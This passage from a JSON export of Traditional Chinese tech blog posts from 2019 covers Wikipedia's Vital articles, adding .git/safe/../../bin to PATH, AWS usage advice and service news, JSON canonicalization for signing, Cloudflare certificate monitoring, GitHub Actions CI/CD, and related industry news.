    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 這邊看到，英文版維基百科有一套列表，整理出「重要」的條目：「<a href=\"https://en.wikipedia.org/wiki/Wikipedia:Vital_articles\">Wikipedia:Vital articles</a>」。\r\n\r\n目前的列表有五個層級，從 Level 1 到 Level 5，後面的 Level 包含了前面 Level 的文章：\r\n\r\n<ul>\r\n\t<li>Level 1 只有 10 篇。</li>\r\n\t<li>Level 2 有 100 篇 (包含 Level 1 的 10 篇，以下類推)。</li>\r\n\t<li>Level 3 有 1000 篇。</li>\r\n\t<li>Level 4 有 10000 篇。</li>\r\n\t<li>Level 5 有 50000 篇。</li>\r\n</ul>\r\n\r\n看到的第一個問題就是這些列表怎麼產生的，這點在 <a href=\"https://en.wikipedia.org/wiki/Wikipedia_talk:Vital_articles/Frequently_Asked_Questions\">Wikipedia talk:Vital articles/Frequently Asked Questions</a> 裡面有提到列表的歷史：這是 2004 年由 David Gerard 發起，之後擴大到社群並且分不同等級。而這也說明了這些列表示人工選擇的，而不是透過演算法推薦的：\r\n\r\n<blockquote>The English Wikipedia Vital Articles list was originally created in August 2004 by David Gerard as an adaptation of the metawiki List of articles every Wikipedia should have. Since then, the Vital Articles list has undergone numerous revisions by multiple editors, and has expanded to include 5 different levels of vitalness.</blockquote>\r\n\r\n然後選擇的標準是「要了解這個領域不可或缺的條目」：\r\n\r\n<blockquote>A vital article is one considered essential to the subjects listed. For example, it would be difficult to discuss Science without the scientific method, History without World War II, Language without Grammar, Earth science without Geology, or Civics without Democracy. Individuals within the People section represent the pinnacles of their field, such as Albert Einstein in \"Inventors and scientists\" or William Shakespeare in \"Authors\". In sections such as those pertaining to People, History or Geography, weight is given to some articles to produce a more diverse, global list.</blockquote>\r\n\r\n這些列表其中一種用法是「想要了解某個領域」，但剛剛翻了一下 Level 1 與 Level 2 可以發現似乎太少，看起來 Level 3 的資料算是個還不錯的起點...",
    "title": "維基百科的 Vital articles"
  },
  {
    "id": "9142",
    "body": "在「<a href=\"https://thoughtbot.com/blog/git-safe\">.git/safe</a>」這邊看到的方式，想要方便執行 <code>$GITROOT/bin</code> 想法是：\r\n\r\n<ul>\r\n\t<li>把 <code>.git/safe/../../bin</code> 放到 <code>$PATH</code>，如果可以順利解出來的話就是 repository 本身的 <code>$GITROOT/bin</code>。</li>\r\n\t<li>但一般是解不出來的 (因為 <code>.git/</code> 裡面不會有 <code>safe/</code> 這個目錄，所以預設是解不出東西的。而對於信任的 repository 則可以 <code>mkdir .git/safe</code> 讓 shell 可以搜尋到。</li>\r\n</ul>\r\n\r\n之所以可以這樣做的是因為：\r\n\r\n<ul>\r\n\t<li><code>.git</code> 是保留字，從 command line 上你沒辦法塞 <code>.git</code> 目錄進到 repository 內，但不確定直接從 blob layer 塞會怎樣... (也就是得確認 checkout 時檢查的問題)</li>\r\n</ul>\r\n\r\n先寫起來看看好了，不過暫時應該也用不到...",
    "title": "透過把 .git/safe/../../bin 加到 $PATH 執行程式"
  },
  {
    "id": "9143",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這則，分享了 <a href=\"https://aws.amazon.com/\">AWS</a> (他的前東家，超過八年) 的使用經驗：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">This is how I use the good parts of <a href=\"https://twitter.com/awscloud?ref_src=twsrc%5Etfw\">@awscloud</a>, while filtering out all the distracting hype.<br><br>?<br><br>1/25</p>&mdash; Daniel Vassallo (@dvassallo) <a href=\"https://twitter.com/dvassallo/status/1154516910265884672?ref_src=twsrc%5Etfw\">July 25, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n除了可以在 <a href=\"https://twitter.com/\">Twitter</a> 上看以外，也可以用 <a href=\"https://threadreaderapp.com/\">Thread reader</a> 直接讀整條 thread，應該也還算清楚：「<a href=\"https://threadreaderapp.com/thread/1154516910265884672.html\">This is how I use the good parts of @awscloud, while filtering out all the distracting hype.</a>」。\r\n\r\n這邊的經驗談主要是在 web 與 app 相關的服務這塊：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">My experience is in web- sites/apps/services. From tiny personal projects to commercial apps running on 8,000 servers. If what you do is AI, ML, ETL, HPC, DBs, blockchain, or anything significantly different from web apps, what I’m writing here might not be relevant.<br><br>3/25</p>&mdash; Daniel Vassallo (@dvassallo) <a href=\"https://twitter.com/dvassallo/status/1154516920537796608?ref_src=twsrc%5Etfw\">July 25, 2019</a></blockquote>\r\n\r\n有講到 AWS 的業務其實圍繞在 scalability 上發展，但這對 startup 可能反而是扣分，因為暴力法解反而可以大幅簡化架構換得 agile (而讓 startup 存活下來)。\r\n\r\n另外從團隊的開發成本來看，這些 scale 的技術增加了開發成本，產生了很多開發上的限制，這些觀點也有點帶到「Premature optimization is the root of all evil」在講的事情：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Step 1: Forget that all these things exist: Microservices, Lambda, API Gateway, Containers, Kubernetes, Docker.<br><br>Anything whose main value proposition is about “ability to scale” will likely trade off your “ability to be agile &amp; survive”. That’s rarely a good trade off.<br><br>4/25</p>&mdash; Daniel Vassallo (@dvassallo) <a href=\"https://twitter.com/dvassallo/status/1154516922127437825?ref_src=twsrc%5Etfw\">July 25, 2019</a></blockquote>\r\n\r\n最後的結論可以看到一些列表：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Conclusion: I like to seperate interesting new tech from tech that has survived the test of time. EC2, S3, RDS, DDB, ELB, EBS, SQS definitely have. If you’re considering alternatives, there should be a strong compelling reason for losing all the benefits accrued over time.<br><br>25/25</p>&mdash; Daniel Vassallo (@dvassallo) <a href=\"https://twitter.com/dvassallo/status/1154516948610240512?ref_src=twsrc%5Etfw\">July 25, 2019</a></blockquote>\r\n\r\n除了 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 的意見不同外 (這邊提到的 DDB)，其他的我都可以接受...",
    "title": "AWS Cloud 的用法"
  },
  {
    "id": "9144",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 開了中東區，在<a href=\"https://zh.wikipedia.org/wiki/%E5%B7%B4%E6%9E%97\">巴林</a>：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-middle-east-bahrain/\">Now Open – AWS Middle East (Bahrain)</a>」，現在的標配都是 3 AZs 了：\r\n\r\n<blockquote>The Middle East (Bahrain) Region consists of three Availability Zones (AZ’s). Having three Availability Zones enables Middle East organizations to meet business continuity and disaster recovery requirements and also build highly available, fault-tolerant, and scalable applications.</blockquote>\r\n\r\n翻了一下之前的計畫，中東區本來是預定 2019 上半年要提供，看起來稍微 delay 了 (不過比香港區好很多了)：「<a href=\"https://blog.gslin.org/archives/2017/09/30/7601/aws-%E5%B0%87%E5%9C%A8%E9%98%BF%E6%8B%89%E4%BC%AF%E8%81%AF%E5%90%88%E5%A4%A7%E5%85%AC%E5%9C%8B%E6%93%B4%E9%BB%9E/\">AWS 將在阿拉伯聯合大公國擴點</a>」。",
    "title": "AWS 中東區巴林開幕"
  },
  {
    "id": "9146",
    "body": "因為 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 算是很基本的服務，一直以為 <a href=\"https://aws.amazon.com/\">AWS</a> 早就把 Amazon SES 過 <a href=\"https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act\">HIPAA</a> 了，剛剛看到 AWS 的公告 Amazon SES 過了 HIPAA 才發現並不是這樣：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/07/amazon-ses-achieves-hipaa-eligibility/\">Amazon SES Achieves HIPAA Eligibility</a>」。\r\n\r\nAnyway，這次是所有區域的 SES 都過了：\r\n\r\n<blockquote>Amazon SES is now a HIPAA Eligible Service. HIPAA eligibility applies to all AWS Regions where Amazon SES is available.</blockquote>\r\n\r\n然後翻了一下市場的情況，看起來 <a href=\"https://sendgrid.com/\">SendGrid</a> 與 <a href=\"https://mailchimp.com/\">MailChimp</a> 也沒過，但 <a href=\"https://www.mailgun.com/hipaa-baa\">Mailgun</a> 有過... 所以是本來就有方案可以用。",
    "title": "Amazon SES 過 HIPAA 了"
  },
  {
    "id": "9147",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的預設型態從 Standard 變成 GP2：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/07/ebs-default-volume-type-updated-to-gp2/\">EBS default volume type updated to GP2</a>」。\r\n\r\n包括 web console 與 API 的預設值都改成 GP2：\r\n\r\n<blockquote>The AWS console defaults to GP2 in all regions. On July 29th the default EBS volume type was updated in thirteen regions from Standard to GP2. Now AWS API calls for volume, image, and instance creation also default to GP2 in all regions.</blockquote>\r\n\r\nGP2 是 SSD，所以可以提供比較低的 latency，而另外一個用 GP2 的好處是 i/o 的費用已經含在內了 (Standard 會另外收取費用)，對於成本估算會比較簡單一些，尤其是 i/o 量比較大的時候。",
    "title": "AWS 的 EBS 預設型態改為 GP2 (SSD)"
  },
  {
    "id": "9149",
    "body": "這篇是講 JSON object 上的簽名，但實際上就是在討論 JSON Canonicalization 的前因後果：「<a href=\"https://latacora.micro.blog/2019/07/24/how-not-to.html\">How (not) to sign a JSON object</a>」。\r\n\r\n在處理 JSON 資料時，「判斷兩個 JSON object 是否相同」是一個不怎麼簡單的問題，其中一個想法是找一個機制可以把意義相同的 JSON object 都轉成相同的 (byte)string representative，這也就是 JSON Canonicalization。當你可以確保意義相同的 JSON Canonicalization 後，你就可以對 string 本身簽名。\r\n\r\n這件事情其實在 XML 就有過同樣的歷史故事 (yeah，總是有人愛在某種資料格式上面疊上簽名)，也就是「<a href=\"https://en.wikipedia.org/wiki/XML_Signature\">XML Signature</a>」這個方式。\r\n\r\n在 XML 這邊不幸的是，還不少標準選用 XML Signature，像是當年為了實做 <a href=\"https://en.wikipedia.org/wiki/Google_Apps\">Google Apps</a> (現在叫做 G Suite) 的 <a href=\"https://en.wikipedia.org/wiki/Single_sign-on\">SSO</a>，而需要接 <a href=\"https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language\">SAML</a>...\r\n\r\n回到原來的 JSON Canonicalization，可以馬上想到的變化包括了空白與 object 裡 key 的順序，也就是這兩個：\r\n\r\n<pre>{\"a\":1,\"b\":2}</pre>\r\n\r\n<pre>{\r\n  \"b\": 2,\r\n  \"a\": 1\r\n}</pre>\r\n\r\n但不幸的是，還有 Unicode 來一起亂，也就是下面這個跟上面有相同的意思：\r\n\r\n<pre>{\r\n  \"\\u0062\": 2,\r\n  \"\\u0061\": 1\r\n}</pre>\r\n\r\n另外還有其他的地雷是平常不會想到的，如果你因為複雜而決定用 library 來做，那也代表 library 必須面對這些複雜的情境，未必沒有 bug...\r\n\r\n所以文章作者在最後面才會請大家不要再來亂了 XDDD\r\n\r\n<blockquote>Maybe you don’t need request signing? A bearer token header is fine, or HMAC(k, timestamp) if you’re feeling fancy, or mTLS if you really care.</blockquote>\r\n\r\n<blockquote>Canonicalization is fiendishly difficult.</blockquote>\r\n\r\n<blockquote>Add a signature on the outside of the request body, make sure the request body is complete, and don’t worry about “signing what is said versus what is meant” – it’s OK to sign the exact byte sequence.</blockquote>",
    "title": "JSON Canonicalization"
  },
  {
    "id": "9150",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 Certificate Transparency 的通知服務，當有任何新的 SSL certificate 發出時就會通知：「<a href=\"https://blog.cloudflare.com/introducing-certificate-transparency-monitoring/\">Introducing Certificate Transparency Monitoring</a>」。\r\n\r\n基本上就是一組 crawler 去各家記錄挖資料回來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Vkhj4X8.webp\" /><img src=\"https://i.gslin.com/imgur/Vkhj4X8.jpg\" alt=\"\" /></picture>\r\n\r\nBusiness 與 Enterprise 版本的可以設定要通知誰，Free 與 Pro 版本則是固定會通知網域的擁有人 (這邊指的是 Cloudflare 上的)：\r\n\r\n<blockquote>If you’re on a Business or Enterprise plan, you can tell us who to notify. Instead of emailing the zone owner (which we do for Free and Pro customers), we accept up to 10 email addresses as alert recipients. We do this to avoid overwhelming large teams.</blockquote>\r\n\r\n剛剛把掛在上面的 domain 都開起來了，這樣在 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 自動 renew 的時候應該會收到通知...\r\n\r\n另外一個同名的工具則是 2016 年底時 <a href=\"https://www.facebook.com/\">Facebook</a> 推出的 (需要登入才能使用)，可以搜尋有哪些 domain：「<a href=\"https://developers.facebook.com/tools/ct/\">Certificate Transparency Monitoring</a>」。",
    "title": "Cloudflare 提供 Certificate Transparency 的通知服務"
  },
  {
    "id": "9151",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出自家的 CI/CD 方案：「<a href=\"https://github.blog/2019-08-08-github-actions-now-supports-ci-cd/\">GitHub Actions now supports CI/CD, free for public repositories</a>」。\r\n\r\n這個功能是搭在 <a href=\"https://github.com/features/actions\">GitHub Actions</a> 下面的功能，目前支援的語言還是以熱門的為主：\r\n\r\n<blockquote>GitHub Actions now makes it easier to automate how you build, test, and deploy your projects on any platform, including Linux, macOS, and Windows. Run your workflows in a container or in a virtual machine. Actions also supports more languages and frameworks than ever, including Node.js, Python, Java, PHP, Ruby, C/C++, .NET, Android, and iOS. Testing multi-container apps? You can now test your web service and its database together by simply adding some docker-compose to your workflow file.</blockquote>\r\n\r\n公開的 Repository 可以直接用，私人的 Repository 則是每個月有 2000 分鐘 (Free)、3000 分鐘 (Pro)、10000 分鐘 (Team) 以及 50000 分鐘 (Enterprise) 的額度可以用，另外超過的部份則是另外以分計費，換算成小時的話是 USD$0.48/hr (Linux)、USD$0.96/hr (Windows) 與 USD$4.8/hr (Mac)。\r\n\r\n不過還是得等：\r\n\r\n<blockquote>We’re excited to make this new version of Actions available. Learn more and sign up for the beta, which is free now until we make Actions generally available at GitHub Universe on November 13.</blockquote>\r\n\r\nCD 的部份主要因為會跟架構有關，衝擊應該還好，但可以預期現有一堆 CI 服務應該會很辛苦了...",
    "title": "GitHub 推出自己的 CI/CD 方案"
  },
  {
    "id": "9152",
    "body": "<a href=\"https://www.verizon.com/\">Verizon</a> 一直在把 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 手上比較有價值的資產賣掉，總算是輪到 <a href=\"https://www.tumblr.com/\">Tumblr</a> 了，這次是賣給了 <a href=\"https://automattic.com/\">Automattic</a>，也就是 <a href=\"https://wordpress.com/\">WordPress.com</a> 營運的公司。\r\n\r\nVerizon 已經發新聞稿了：「<a href=\"https://www.verizon.com/about/news/verizon-media-announces-sale-tumblr-automattic\">Verizon Media announces sale of Tumblr to Automattic</a>」，Tumblr 的 <a href=\"https://staff.tumblr.com/\">staff blog</a> 上也發表了：「<a href=\"https://staff.tumblr.com/post/186963195515/hello-tumblr-today-tumblrs-owner-verizon\">Hello Tumblr ?  Today, Tumblr’s owner, Verizon...</a>」，但 Automattic 這邊還沒看到：「<a href=\"https://automattic.com/news/\">Features, news, and more: See what’s been going on in Automattic’s world.</a>」。\r\n\r\n金額不確定多少，但感覺應該算是好事？不知道之前的 porn content 會不會回流...",
    "title": "Automattic (WordPress.com 的公司) 買下 Tumblr"
  },
  {
    "id": "9154",
    "body": "試著在 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 下跑 <a href=\"https://www.winehq.org/\">Wine</a>，結果文章作者發現意外的簡單：「<a href=\"https://reddragdiva.dreamwidth.org/607714.html\">Wine on Windows 10. It works.</a>」。\r\n\r\n實際上大多數的事情是透過 Windows 10 的 WSL (<a href=\"https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\">Windows Subsystem for Linux</a>) 所疊出來的，可以從這步看到：\r\n\r\n<blockquote>3. Open the Microsoft Store, install Ubuntu. (This is basically what WSL was created to run.) I installed \"Ubuntu 18.04 LTS\". Open Ubuntu, and you'll see a bash terminal.</blockquote>\r\n\r\n這是作者的成果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NDVlgdj.webp\" /><img src=\"https://i.gslin.com/imgur/NDVlgdj.jpg\" alt=\"\" /></picture>\r\n\r\n還是有些限制 (像是目前還 32 bits 程式還要等之後的 WSL 支援)，但比起早年得自己從頭搞起來簡單不少 (而且問題不少)，算是完成作者的悲怨？",
    "title": "在 Windows 10 下面執行 Wine"
  },
  {
    "id": "9155",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到很有趣的方式：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">A Mathematician&#39;s Way* of Converting Miles to Kilometers<br><br>• 1 mi ≈ 1.609 km<br><br>• The ratio of consecutive Fibonacci numbers Fₙ₊₁/Fₙ tends to the golden ratio φ ≈ 1.618 as n increases<br><br>So Fₙ mi ≈ Fₙ₊₁ km<br><br>*This is how I do it ? <a href=\"https://t.co/Jbuwj6rDC1\">pic.twitter.com/Jbuwj6rDC1</a></p>&mdash; Tamás Görbe (@TamasGorbe) <a href=\"https://twitter.com/TamasGorbe/status/1158348261683605504?ref_src=twsrc%5Etfw\">August 5, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這邊可以這樣算是因為 1.609 跟<a href=\"https://zh.wikipedia.org/wiki/%E9%BB%84%E9%87%91%E5%88%86%E5%89%B2%E7%8E%87\">黃金比率</a>很接近，而 <a href=\"https://en.wikipedia.org/wiki/Fibonacci_number\">Fibonacci number</a> 的也有黃金比率的特性，所以可以直接拿來用...",
    "title": "Miles 換算 KM 的方式"
  },
  {
    "id": "9156",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 的 <a href=\"https://www.backblaze.com/b2/\">B2</a> 算是我還蠻愛用來丟一些東西的地方 (配合他們與 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 合作的免費頻寬)。\r\n\r\n先前 B2 一直沒有複製檔案的功能，如果要有同樣檔案，變成得自己再上傳一次，這對於網路沒有很快的使用者會很痛苦，現在總算是提供 API 可以直接複製了：「<a href=\"https://www.backblaze.com/blog/b2-copy-file-is-now-public/\">B2 Copy File is Now Public</a>」。\r\n\r\n這個功能主要的文件在「<a href=\"https://www.backblaze.com/b2/docs/b2_copy_file.html\">b2_copy_file</a>」。\r\n\r\n另外這次也推出了「<a href=\"https://www.backblaze.com/b2/docs/b2_copy_part.html\">b2_copy_part</a>」，針對檔案的合併所提供的 API。",
    "title": "Backblaze B2 的 Copy File API 終於開放"
  },
  {
    "id": "9159",
    "body": "看到「<a href=\"https://www.rfc-editor.org/info/rfc8628\">OAuth 2.0 Device Authorization Grant</a>」這個變成 PROPOSED STANDARD 了，看了一下歷史是 2015 年年底的時候被提出來的，記得在前公司的時候有用這個 (當時還是 draft) 做智慧型電視上的 OAuth 認證：\r\n\r\n<blockquote>The OAuth 2.0 device authorization grant is designed for Internet-connected devices that either lack a browser to perform a user-agent-based authorization or are input constrained to the extent that requiring the user to input text in order to authenticate during the authorization flow is impractical.  It enables OAuth clients on such devices (like smart TVs, media consoles, digital picture frames, and printers) to obtain user authorization to access protected resources by using a user agent on a separate device.</blockquote>\r\n\r\n因為這些裝置的輸入設備受限，照原來 OAuth 2.0 的方式授權，使用者體驗不會太好 (可以想像用遙控器登入 <a href=\"https://www.google.com/\">Google</a> 或是 <a href=\"https://www.facebook.com/\">Facebook</a> 帳號？)，所以設計了替代的方案，讓使用者可以用手機授權 (比較常見的是透過 QR code)，然後電視機再去取得 access token。",
    "title": "OAuth 2.0 Device Authorization Grant"
  },
  {
    "id": "9160",
    "body": "在朋友的 <a href=\"https://www.facebook.com/\">Facebook</a> 上看的東西：「<a href=\"https://medium.com/@joshua_robinson/s5cmd-for-high-performance-object-storage-7071352cc09d\">S5cmd for High Performance Object Storage</a>」。會想要寫這篇是因為看到 <a href=\"https://github.com/bloomreach/s4cmd\">s4cmd</a> 跟 <a href=\"https://github.com/peak/s5cmd\">s5cmd</a> 這兩個工具的命名而笑出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mZFUN7B.webp\" /><img src=\"https://i.gslin.com/imgur/mZFUN7B.jpg\" alt=\"\" /></picture>\r\n\r\n不過這篇也可以看到差異，<a href=\"https://s3tools.org/s3cmd\">s3cmd</a> 是自己用 <a href=\"https://www.python.org/\">Python</a> 刻所有東西，s4cmd 還是用 Python，但是因為 <a href=\"https://pypi.org/project/boto3/\">boto3</a> 而快了不少，而 s5cmd 則是改用 <a href=\"https://golang.org/\">Golang</a> 寫，並且採用多個 TCP connection 操作而讓效能大幅提昇。",
    "title": "操作 S3 Command Line 的工具"
  },
  {
    "id": "9161",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 遞出 <a href=\"https://en.wikipedia.org/wiki/Form_S-1\">Form S-1</a>：「<a href=\"https://www.sec.gov/Archives/edgar/data/1477333/000119312519222176/d735023ds1.htm\">S-1</a>」。<a href=\"https://techcrunch.com/\">TechCrunch</a> 有些整理：「<a href=\"https://techcrunch.com/2019/08/15/cloudflare-files-for-initial-public-offering/\">Cloudflare files for initial public offering</a>」。\r\n\r\n一樣是燒錢狀態上市，不過相較於其他家燒的速度算是慢的，但成長速度很驚人：\r\n\r\n<blockquote>As far as money goes, Cloudflare is — like other early-stage technology companies — losing money. But it’s not losing that much money, and its growth is impressive.</blockquote>\r\n\r\n預定在 <a href=\"https://en.wikipedia.org/wiki/New_York_Stock_Exchange\">NYSE</a> 上使用代碼「NET」：\r\n\r\n<blockquote>The company will trade on the New York Stock Exchange under the ticker symbol “NET.”</blockquote>\r\n\r\n不知道為什麼有種泡沫感...",
    "title": "Cloudflare 遞出 S-1"
  },
  {
    "id": "9162",
    "body": "收到信件通知，本來在 <a href=\"https://cloud.google.com/compute/\">GCE</a> 上使用的 Public IP address 是免費的，2020 年開始變成要收 USD$0.004/hr (Standard，約 USD$2.88/month) 或是 USD$0.002/hr (Preemptible，約 USD$1.44/month)：\r\n\r\n<blockquote>First, we’re increasing the price for Google Compute Engine (GCE) VMs that use external IP addresses. Beginning January 1, 2020, a standard GCE instance using an external IP address will cost an additional $0.004/hr and a preemptible GCE instance using an external IP address will cost an additional $0.002/hr.</blockquote>\r\n\r\n從 2020 年一月開始生效，但是前三個月會用 100% discount 的方式呈現在帳單上 (所以還是免費)，這樣你會知道你的 IP address 費用會吃多少錢：\r\n\r\n<blockquote>We will fully discount any external IP usage for the first 3 months to help you quantify the impact of these pricing changes. Please take note of the following dates:\r\n\r\nJanuary 1, 2020: Although your invoice will show your calculated external IP-related charges, these will be fully discounted and you will not need to pay these.\r\nApril 1, 2020: You will need to pay for any incurred external IP-related charges shown on your invoice.</blockquote>\r\n\r\n其實整體成本應該是還好，但看到漲價總是不開心... XD",
    "title": "GCE 的 IP 要收費了..."
  },
  {
    "id": "9163",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 透過 <a href=\"https://webkit.org/blog/\">WebKit 的 blog</a> 公佈了對 tracking 技術的宣言 (或者說「宣戰」)：「<a href=\"https://webkit.org/blog/9507/announcing-the-webkit-tracking-prevention-policy/\">Announcing the WebKit Tracking Prevention Policy</a>」，完整的文件在「<a href=\"https://webkit.org/tracking-prevention-policy/\">WebKit Tracking Prevention Policy</a>」可以看到。\r\n\r\n相關的報導可以參考「<a href=\"https://thenextweb.com/privacy/2019/08/16/apple-will-soon-treat-online-web-tracking-the-same-as-a-security-vulnerability/\">Apple will soon treat online web tracking the same as a security vulnerability</a>」。這篇會這樣下標題主要是這點：\r\n\r\n<blockquote>We treat circumvention of shipping anti-tracking measures with the same seriousness as exploitation of security vulnerabilities.</blockquote>\r\n\r\n不過技術上還是很困難，現在在瀏覽氣上有太多方式可以被拿來追蹤分析。\r\n\r\n另外也不用認為蘋果是什麼善類，他只是不太靠廣告賺錢，所以會決定站出來把隱私保護當產品在推銷，哪天有什麼奇怪的特例跑出來的時候也不用太意外...",
    "title": "Apple 對 Tracking 機制的宣言 (宣戰)"
  },
  {
    "id": "9164",
    "body": "看到「<a href=\"https://github.com/bloc97/Anime4K\">Anime4K</a>」這個專案：\r\n\r\n<blockquote>Anime4K is a state-of-the-art*, open-source, high-quality real-time anime upscaling algorithm that can be implemented in any programming language.\r\n\r\nState of the art* as of August 2019 in the real time anime upscaling category, the fastest at acheiving reasonable quality. We do not claim this is a superior quality general purpose SISR algorithm compared to machine learning approaches.</blockquote>\r\n\r\n他們提供的數據顯示 1080p -&gt; 2160p (4K) 只要 3ms，對於 60fps 來說是相當足夠，而品質看起來也還不錯。\r\n\r\n其中一個蠻有趣的問答是 1080p -&gt; 2160p 反而比 480p -&gt; 720p 簡單，因為 1080p 裡面因為有更多資料量，所以處理起來比較簡單：\r\n\r\n<blockquote>Why not do PSNR/SSIM on 480p-&gt;720p upscaling\r\nStory Time\r\n\r\nComparing PSNR/SSIM on 480p-&gt;720p upscales does not prove and is not a good indicator of 1080p-&gt;2160p upscaling quality. (Eg. poor performance of waifu2x on 1080p anime) 480p anime images have a lot of high frequency information (lines might be thinner than 1 pixel), while 1080p anime images have a lot of redundant information. 1080p-&gt;2160p upscaling on anime is thus objectively easier than 480p-&gt;720p.</blockquote>",
    "title": "即時將動畫 Upscale 到 4K 畫質的演算法"
  },
  {
    "id": "9165",
    "body": "從「<a href=\"https://www.pixelstech.net/article/1566007822-Google-plans-to-deprecate-FTP-URL-support-in-Chrome\">Google plans to deprecate FTP URL support in Chrome</a>」這邊看到的，狀態資訊可以在「<a href=\"https://chromestatus.com/feature/6246151319715840\">Deprecate FTP support</a>」這邊看到。\r\n\r\n以目前的 timeline 資訊，看起來是 M82 版本會完全拔掉：\r\n\r\n<blockquote>M78 (2019Q4)\r\nFinch controlled flag and enterprise policy for controlling overall FTP support.\r\n\r\nSupport disabled on pre-release channels.\r\n\r\nM80 (2020Q1)\r\nGradual turndown of FTP support on stable.\r\n\r\nM82 (2020Q2)\r\nRemoval of FTP related code and resources.</blockquote>\r\n\r\n不過這樣就沒有方便的 FTP downloader 了 (雖然不常見)，得另外再找軟體下載...",
    "title": "Chrome 打算要終止支援 FTP 協定"
  },
  {
    "id": "9167",
    "body": "<a href=\"https://bitbucket.org/\">Bitbucket</a> 放棄對 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 的支援：「<a href=\"https://bitbucket.org/blog/sunsetting-mercurial-support-in-bitbucket\">Sunsetting Mercurial support in Bitbucket</a>」。\r\n\r\n兩個時間點，一個是明年二月不能再新增，另外一個是明年六月完全停用：\r\n\r\n<blockquote>February 1, 2020: users will no longer be able to create new Mercurial repositories\r\nJune 1, 2020: users will not be able to use Mercurial features in Bitbucket or via its API and all Mercurial repositories will be removed.</blockquote>\r\n\r\n在 Mercurial 網站上的 wiki 也更新了：「<a href=\"https://www.mercurial-scm.org/wiki/MercurialHosting\">Mercurial Hosting</a>」，對於不想要搬到 <a href=\"https://git-scm.com/\">Git</a> 的人可以在這份列表裡找替代方案。",
    "title": "Bitbucket 放棄 Mercurial"
  },
  {
    "id": "9169",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> (語音轉文字的服務) 支援中文：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-transcribe-now-supports-mandarin-and-russian/\">Amazon Transcribe Now Supports Mandarin and Russian</a>」。\r\n\r\n從給的指令可以看到 <code>--language-code zh-CN</code>，頁面上示範的音檔腔調也是中華民國淪陷地區的腔調，應該是對淪陷地區訓練出來的結果...\r\n\r\n我隨便拿了一部影片來測試：「<a href=\"https://www.youtube.com/watch?v=A1wsNUTeb9U&t=0s\">粉嫩多汁健康好吃 松露炸和牛三明治 fried wagyu beef sandwich｜Fred吃上癮</a>」。\r\n\r\n先下載下來，然後用 <a href=\"https://ffmpeg.org/\">FFmpeg</a> 轉成 FLAC 檔，再透過 AWS web console 丟進 transcription jobs 轉...\r\n\r\n看起來對台灣在用的腔調適應還是不太好 